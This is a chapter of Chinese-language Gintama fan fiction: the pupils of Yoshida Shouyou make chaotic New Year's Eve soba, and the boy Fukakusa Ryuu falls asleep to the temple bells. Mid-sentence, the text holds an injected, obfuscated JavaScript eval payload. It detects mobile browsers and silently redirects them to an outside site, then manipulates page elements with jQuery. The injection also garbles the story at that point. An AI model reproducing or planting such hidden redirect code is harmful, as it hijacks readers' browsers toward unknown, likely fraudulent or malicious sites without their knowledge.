黑发男孩脸色一僵,不想让人看见表情似的,匆匆低下头。 只是握笔的力道,陡然大了许多。 戳在年卡上的墨,浓得像是郁愤的心情。 吉田松阳不由得闷笑两声,又在耳尖发红的学生发火之前,收回了明显的笑意。 贺年卡和门饰装饰完成,便到了大晦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377113|182160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日,也就是新年前一天。 “按照习俗,今天一定要吃一碗荞麦面,寓意‘切断一年的辛苦与霉运’哦。” 吉田松阳一发话,所有人齐上阵,钻入了厨房。 也不知道是什么坚持,这碗荞麦面从揉面开始制作。 面粉、水和小孩子放一块,会发生什么可想而知。 从第一个将黏糊的面团当做武器的人出现开始,注定会掀起一场敌我不分、人畜不分、死活不顾的战斗。 深草琉稍微慢了一步,就拥有了限定版白发,以及限定版歌舞伎面妆。 “……你们很好。” 他顶着这套妆容,狞笑着追杀其他人的样子,倒真像是歌舞剧台上凶恶的鬼了。 不出意料,被鬼抓住的人,会变成下一个鬼,开启新的追杀循环。 在将厨房毁灭之前,吉田松阳作为最强大的“鬼”,强行镇压了胡作非为的小鬼们。 总算保住了今晚能吃的面条。 不过煮面的时候,深草琉终于明白,为什么当初坂田银时给他的饭,会是那种黑糊糊堪比黑暗料理的玩意了。 做饭最怕灵机一动。 看着坂田银时将醋、酱油、盐、纳豆、草莓牛奶、咸鱼,还有从高杉晋助那里抢过来的养乐多都倒入其中。 深草琉只能庆幸,过年期间吃的御节料理在之前就买好了,不必再遭受毒手。 以及这碗他绝对不吃。 忙活了一天,晚间,所有人吃完饭,围坐在被炉,讨论起明天要去神社参拜。 深草琉不参与这种讨论,他通常给不出什么关键意见。百无聊赖,他倒是挺想再去练练剑术,可吉田松阳说快过年了,打打杀杀不好,暂时不和他训练。 这几天手生,他都担心下次拿木刀会不会砍歪掉。 坂田银时坐在对面,也安安静静,没有参与讨论。 不是转性了,也不是脑子坏了,从吃完自己亲手制作的荞麦面后,他就是这个状态了。 当然,他本人是不想吃的。 于是吉田松阳表示不吃,他可以帮忙。 “不能浪费食物哦。” 坂田银时与他的老师对视,常人不可知的博弈与取舍中,仅仅迟疑了三秒,就主动把那团不明物质塞下去了。 后果也非常显著,银白卷毛两眼一翻,口吐白沫,已经昏迷到现在了。 只能感慨一句,自作孽不可活。 窗外呼呼吹来,敲击窗门的寒风与细雪,被阻挡在屋子外,偶尔一点钻入缝隙的冷意,也因被炉的温度驱散。 耳边絮絮叨叨的说话声,活泼而欢快。 饱腹的身体从肚子向四肢百骸涌上暖意,手脚也被烘得热乎。 思维放空,没有定点,不知不觉,黑发男孩的头一点点垂落,像是不断点头的芦苇,眼皮也缓慢合上,挡住那双总是清澈淡漠的红色眼睛。 他趴在双臂之间,似乎听见压低的声音。 “阿琉睡着了,真难得。” “这里睡着会感冒的,可能是累了吧,先拿被子过来,之后再把他搬到床上。” 放轻的脚步声走了又来,然后是压上身体的重量,熟悉的气味,应该是被子。 暖意与困倦层层袭来,什么都来不及思考,意识遁入虚无。 不知过了过久,隐约听见厚重沉闷的钟声。 一声又一声,传递到耳边,只剩下了悠远绵长的余音。 白天吉田松阳特意提起过。 一百零八声钟,去一百零八种烦恼,愿听者清净,愿来年无忧。 新年到来了。